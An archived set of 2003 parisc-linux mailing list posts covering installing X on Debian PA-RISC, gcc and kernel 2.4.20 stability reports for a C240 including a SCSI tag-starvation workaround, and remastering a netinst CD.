	Fri, 30 May 2003 08:24:56 +0000
X-Originating-IP: [213.224.83.38]
X-Originating-Email: [kennywest1@hotmail.com]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 30 May 2003 08:24:56.0735 (UTC) FILETIME=[F3FAE2F0:01C32684]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18570

apt-get install x-window-system (or something like this)

----- Original Message ----- 
From: "Jrg Benndorf" <joerg.benndorf@t-online.de>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, May 30, 2003 9:14 AM
Subject: [parisc-linux] missing tasksel option 'x-window system' on parisc
box


I got the six cd iso files using jigdo. After installation tasksel offers no
option to install the x window system.
Is there a howto document covering this issue -or- would someone mind to
help me get x runnning on a 712 box.
Anyone to help? Thanks, Joerg.



From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on parisc box
Date: Fri, 30 May 2003 11:46:37 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <001d01c32690$60547640$1200a8c0@JOERGSPRINTER>
References: <000c01c3267b$11f81610$1200a8c0@JOERGSPRINTER> <BAY1-DAV22xS43Tv8hm00006867@hotmail.com>
Reply-To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622484 26038 80.91.229.3 (22 Nov 2014 02:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 03:40:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73DEC4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 03:40:56 -0600 (MDT)
Original-Received: from fwd03.sul.t-online.de 
	by mailout09.sul.t-online.com with smtp 
	id 19LgNa-0002kM-0D; Fri, 30 May 2003 11:40:54 +0200
Original-Received: from JOERGSPRINTER (320081964826-0001@[217.83.12.160]) by fmrl03.sul.t-online.com
	with smtp id 19LgNT-1L01FgC; Fri, 30 May 2003 11:40:47 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Sender: 320081964826-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18571

Thank you for your hint but this doesn't seem to work - always prompts
"unmet dependencies" / "is not going to be installed" / "is not
installable".
Any other idea or am i missing an apt http/ftp source?

----- Original Message -----
From: "kenneth westelinck" <kennywest1@hotmail.com>
To: "Jrg Benndorf" <joerg.benndorf@t-online.de>;
<parisc-linux@lists.parisc-linux.org>
Sent: Friday, May 30, 2003 10:24 AM
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on
parisc box


> apt-get install x-window-system (or something like this)
>
> ----- Original Message -----
> From: "Jrg Benndorf" <joerg.benndorf@t-online.de>
> To: <parisc-linux@lists.parisc-linux.org>
> Sent: Friday, May 30, 2003 9:14 AM
> Subject: [parisc-linux] missing tasksel option 'x-window system' on parisc
> box
>
>
> I got the six cd iso files using jigdo. After installation tasksel offers
no
> option to install the x window system.
> Is there a howto document covering this issue -or- would someone mind to
> help me get x runnning on a 712 box.
> Anyone to help? Thanks, Joerg.
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on parisc box
Date: Fri, 30 May 2003 12:10:29 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <BAY1-DAV19nOwqYSqe800024e4d@hotmail.com>
References: <000c01c3267b$11f81610$1200a8c0@JOERGSPRINTER> <BAY1-DAV22xS43Tv8hm00006867@hotmail.com> <001d01c32690$60547640$1200a8c0@JOERGSPRINTER>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622484 26040 80.91.229.3 (22 Nov 2014 02:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:44 +0000 (UTC)
To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 04:10:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay1-dav19.bay1.hotmail.com [65.54.244.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9849B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 04:10:38 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 30 May 2003 03:10:38 -0700
Original-Received: from 213.224.83.46 by bay1-dav19.bay1.hotmail.com with DAV;
	Fri, 30 May 2003 10:10:37 +0000
X-Originating-IP: [213.224.83.46]
X-Originating-Email: [kennywest1@hotmail.com]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 30 May 2003 10:10:38.0148 (UTC) FILETIME=[B7C1B840:01C32693]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18572

I am using ftp.belnet.be as source (no CDs) and doing apt-cache search
window returns x-window-system, so it should work. Anyways, I think
"x-window-system" is a virtual package. So you should be able to install all
it's sub-components manually. Such as xserver-common, ... .

----- Original Message ----- 
From: "Jrg Benndorf" <joerg.benndorf@t-online.de>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, May 30, 2003 11:46 AM
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on
parisc box


> Thank you for your hint but this doesn't seem to work - always prompts
> "unmet dependencies" / "is not going to be installed" / "is not
> installable".
> Any other idea or am i missing an apt http/ftp source?
>
> ----- Original Message -----
> From: "kenneth westelinck" <kennywest1@hotmail.com>
> To: "Jrg Benndorf" <joerg.benndorf@t-online.de>;
> <parisc-linux@lists.parisc-linux.org>
> Sent: Friday, May 30, 2003 10:24 AM
> Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on
> parisc box
>
>
> > apt-get install x-window-system (or something like this)
> >
> > ----- Original Message -----
> > From: "Jrg Benndorf" <joerg.benndorf@t-online.de>
> > To: <parisc-linux@lists.parisc-linux.org>
> > Sent: Friday, May 30, 2003 9:14 AM
> > Subject: [parisc-linux] missing tasksel option 'x-window system' on
parisc
> > box
> >
> >
> > I got the six cd iso files using jigdo. After installation tasksel
offers
> no
> > option to install the x window system.
> > Is there a howto document covering this issue -or- would someone mind to
> > help me get x runnning on a 712 box.
> > Anyone to help? Thanks, Joerg.
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on parisc box
Date: Fri, 30 May 2003 13:10:16 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <002401c3269c$0fc70240$1200a8c0@JOERGSPRINTER>
References: <000c01c3267b$11f81610$1200a8c0@JOERGSPRINTER> <BAY1-DAV22xS43Tv8hm00006867@hotmail.com> <001d01c32690$60547640$1200a8c0@JOERGSPRINTER> <BAY1-DAV19nOwqYSqe800024e4d@hotmail.com>
Reply-To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622484 26043 80.91.229.3 (22 Nov 2014 02:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 05:04:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 742D64829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 05:04:41 -0600 (MDT)
Original-Received: from fwd03.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 19Lhgd-0001hi-04; Fri, 30 May 2003 13:04:39 +0200
Original-Received: from JOERGSPRINTER (320081964826-0001@[217.83.12.160]) by fmrl03.sul.t-online.com
	with smtp id 19LhgQ-1egfLsC; Fri, 30 May 2003 13:04:26 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Sender: 320081964826-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18573

Even if i use ftp.belnet.be as a single source my system does not allow me
to install x-window-system.
So i tried to get xserver-common - success! So i have to look for all
packages needed to run x...
Hopefully i will find them inside the x-howto.
Thank you again for your help.
Joerg.

----- Original Message -----
From: "kenneth westelinck" <kennywest1@hotmail.com>
To: "Jrg Benndorf" <joerg.benndorf@t-online.de>;
<parisc-linux@lists.parisc-linux.org>
Sent: Friday, May 30, 2003 12:10 PM
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on
parisc box


> I am using ftp.belnet.be as source (no CDs) and doing apt-cache search
> window returns x-window-system, so it should work. Anyways, I think
> "x-window-system" is a virtual package. So you should be able to install
all
> it's sub-components manually. Such as xserver-common, ... .
>
> ----- Original Message -----
> From: "Jrg Benndorf" <joerg.benndorf@t-online.de>
> To: <parisc-linux@lists.parisc-linux.org>
> Sent: Friday, May 30, 2003 11:46 AM
> Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on
> parisc box
>
>
> > Thank you for your hint but this doesn't seem to work - always prompts
> > "unmet dependencies" / "is not going to be installed" / "is not
> > installable".
> > Any other idea or am i missing an apt http/ftp source?
> >
> > ----- Original Message -----
> > From: "kenneth westelinck" <kennywest1@hotmail.com>
> > To: "Jrg Benndorf" <joerg.benndorf@t-online.de>;
> > <parisc-linux@lists.parisc-linux.org>
> > Sent: Friday, May 30, 2003 10:24 AM
> > Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on
> > parisc box
> >
> >
> > > apt-get install x-window-system (or something like this)
> > >
> > > ----- Original Message -----
> > > From: "Jrg Benndorf" <joerg.benndorf@t-online.de>
> > > To: <parisc-linux@lists.parisc-linux.org>
> > > Sent: Friday, May 30, 2003 9:14 AM
> > > Subject: [parisc-linux] missing tasksel option 'x-window system' on
> parisc
> > > box
> > >
> > >
> > > I got the six cd iso files using jigdo. After installation tasksel
> offers
> > no
> > > option to install the x window system.
> > > Is there a howto document covering this issue -or- would someone mind
to
> > > help me get x runnning on a 712 box.
> > > Anyone to help? Thanks, Joerg.
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >




From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiler & kernel
Date: Fri, 30 May 2003 13:10:17 +0100 (IST)
Lines: 126
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0305301120390.11291-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622485 26315 80.91.229.3 (22 Nov 2014 02:14:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 06:10:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id E11694829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 06:10:22 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h4UCAI624633
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 13:10:20 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18574

Hi,

I just wanted to share the experience I made after experimenting with
different compilers and linux-2.4.20-pa35 on Debian/testing on a C240.
Maybe it's of some use for you or somebody has some remarks how to
solve an issue or whether it's just me who has problems ;)
This is not a request for fixing things, I'm just curious whether
developers/users had similar problems and/or are aware of them.


Some general problems:


I use quite a lot of additional non-HP hardware in my C240:

I'm using a 4port USB2.0-card, a IBM Token Ring card, (soon hopefully a
NetGEAR MA311 Wireless NIC) and a 8193too-compatible Network card)

So far I can only use USB1.1 drivers, since the EHCI code seems to
dislike parisc (kernel oops with any compiler).

Another general problem (which exists as far as I can remember):

It also seems that I can only use drivers for hardware if they are
directly compiled into the kernel, since otherwise 'lspci -v' will
show ioports/memory for devices marked as 'disabled' and trying to
modprobe h/w driver modules will fail.
Modules not accessing the hardware directly however work fine.



Oh yes, one important issue:
I have this 'target suffers from tag starvation' problem as some others
seem to have aswell. I just have a 20GB SE SCSI (50 pin), no other SCSI
devices (the original internal UW-SCSI drive is in my AlphaStation now).

I tried several configurations ... actually all configurations possible.
It is definitely NOT a SCSI termination issue, nor a faulty HD (it works
perfectly on my SUN and my Alpha). Moreover it works quite well with
older kernels, such as 2.4.19-pa2.

Newer kernels (starting with about 2.4.20) often report "target is
suffering from tag starvation" and after that the kernel will most likely
oops and hang. Most the time I even can't boot the kernel, since
mounting the root fs alone will most likely cause a kernel crash.
Older kernels either don't display the message at all, or
not very often (such as once a day if the disk is in HEAVY use), and the
kernel will never crash after displaying the message.

So I copied the /usr/src/linux-2.4.19-pa2/drivers/scsi/53c700.c driver
to the corresponding directory in the 2.4.20-pa35 kernel and now the
kernel is perfectly stable again!
I don't know what causes this trouble, but I really don't think it's my
SCSI hardware (I use SCSI devices for quite a long time. I should know by
know which cables to use and how to do proper SCSI termination etc.
Moreover I exchanged everything just to be sure it's not faulty
cables/terminators).
Maybe it's just the software driver, maybe it's a bug in the HP SCSI chip
when using SE disks ... I just know the older driver is much more stable!


And finally some issues I have found when using certain versions of gcc
to compile linux-2.4.20-pa35:

(for all different compilers I used the same configuration, except for
choosing 32/64bit kernels. I use the PA8000 CPU option by default)



hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-debs)
  seems to work fine but obviously ipt_limit.o is miscompiled:
  I can insmod it, but iptable wouldn't recognize the --limit* options.
  There are still some problems with some modules and canonicalize_funcptr,
  (IIRC networking VLAN support, TUN/TAP, zlib_deflate), but when
  compiled into the kernel (not compiled as modules) they seems to work

  Also some stability issues:
  Ie. wmrack makes the kernel crash immeadiately (no kernel Oops output),
  xosview doesn't work (no windows opened)

gcc-3.0
  still propably the recommended compiler, no problems!
  IIRC I still used the PA7000 CPU setting when compiling with gcc-3.0
  at that time

gcc-3.2.3
  I don't recall having the same issues in ipt_limit.o that the 64bit
  version of gcc-3.2.3 has, everythink seems to work quite well. compiling
  the kernel is slower than gcc-3.0

gcc-3.3
  compiled fine after commenting out the references $mulU in parisc_ksyms.c
  and fixing drivers/net/tokenring/olympic.c (yes, some people still use
  tokenring!):
     - type cast error in the use of memcpy_fromio, casting the parameter
       to ulong works
     - one text string spread over two lines, but without a '\' at the end.

  Man, gcc-3.3 is SLOW! it takes ages to compile the kernel!

  Kernel compiled with 3.3 definitely have a bogomips problem (they report
  0.8 instead of about 470 on a C240);
  The kernel takes forever to boot up (it 'waits' for over one minute
  after palo loads the kernel (right after the 'switch to another console'
  message)), propably because of the bogomips calculation.
  Also the userspace programme 'bogomips' has the same issue.

  Apart to make from this issues, gcc-3.3 produces a kernel that is at
  least as stable as those compiled with 3.0 or 3.2


BTW, I've quite alot of networking stuff in the kernel:
IPv6, Bridging, VLan, PPP, PPPoE, Netfilter, Network devices etc.
Apart from that it is a pretty 'normal' configuration (I'll send the
.config and System.map if somebody wants it).


Right now I'm running linux-2.4.20-pa35 for over a week now, and the
machine is really stable. It's actively used as DHCP-server,
SMB-server, router/firewall and for several other stuff in our LAN.



Thanks, Max



From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kris Amy" <kris@lunadawn.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Custom CD
Date: Fri, 30 May 2003 23:58:04 +1000
Lines: 43
Approved: news@gmane.org
Message-ID: <004201c326b3$7e09aa70$2000a8c0@galileo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_003F_01C32707.4F07A020"
X-Trace: ger.gmane.org 1416622485 26317 80.91.229.3 (22 Nov 2014 02:14:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 07:57:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gazebo.lunadawn.net (c17084.rochd1.qld.optusnet.com.au [210.49.54.197])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F9F24829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 07:57:48 -0600 (MDT)
Original-Received: from debian-vmware.lunadawn.net ([192.168.0.32] helo=galileo)
	by gazebo.lunadawn.net with smtp (Exim 3.35 #1 (Debian))
	id 19LkO2-0002PO-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 23:57:38 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18575

This is a multi-part message in MIME format.

------=_NextPart_000_003F_01C32707.4F07A020
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I had to recompile the kernel on the netinst cd so I could get my NIC =
support in. I have the lifimage now. Do I just mount the cd image I have =
through loopback copy it's contents. Copy my lifimage into the root =
directory and mkisofs that new directory?

Kris
------=_NextPart_000_003F_01C32707.4F07A020
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I had to recompile the kernel on the =
netinst cd=20
so&nbsp;I could get my NIC support in. I have the lifimage now. =
Do&nbsp;I just=20
mount the cd image I have through loopback copy it's contents. Copy my =
lifimage=20
into the root directory and mkisofs that new directory?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Kris</FONT></DIV></BODY></HTML>

------=_NextPart_000_003F_01C32707.4F07A020--



From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Sat, 31 May 2003 10:40:33 +0000
Lines: 103
Approved: news@gmane.org
Message-ID: <3ED886A1.10605@tiscali.be>
References: <Pine.LNX.4.44.0305301120390.11291-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622485 26320 80.91.229.3 (22 Nov 2014 02:14:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 04:26:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDC374829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 04:26:30 -0600 (MDT)
Original-Received: from [62.235.173.224] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19M3ZD-0007hC-00; Sat, 31 May 2003 12:26:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.44.0305301120390.11291-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18576

M. Grabert wrote:

>[...]
>
>Oh yes, one important issue:
>I have this 'target suffers from tag starvation' problem as some others
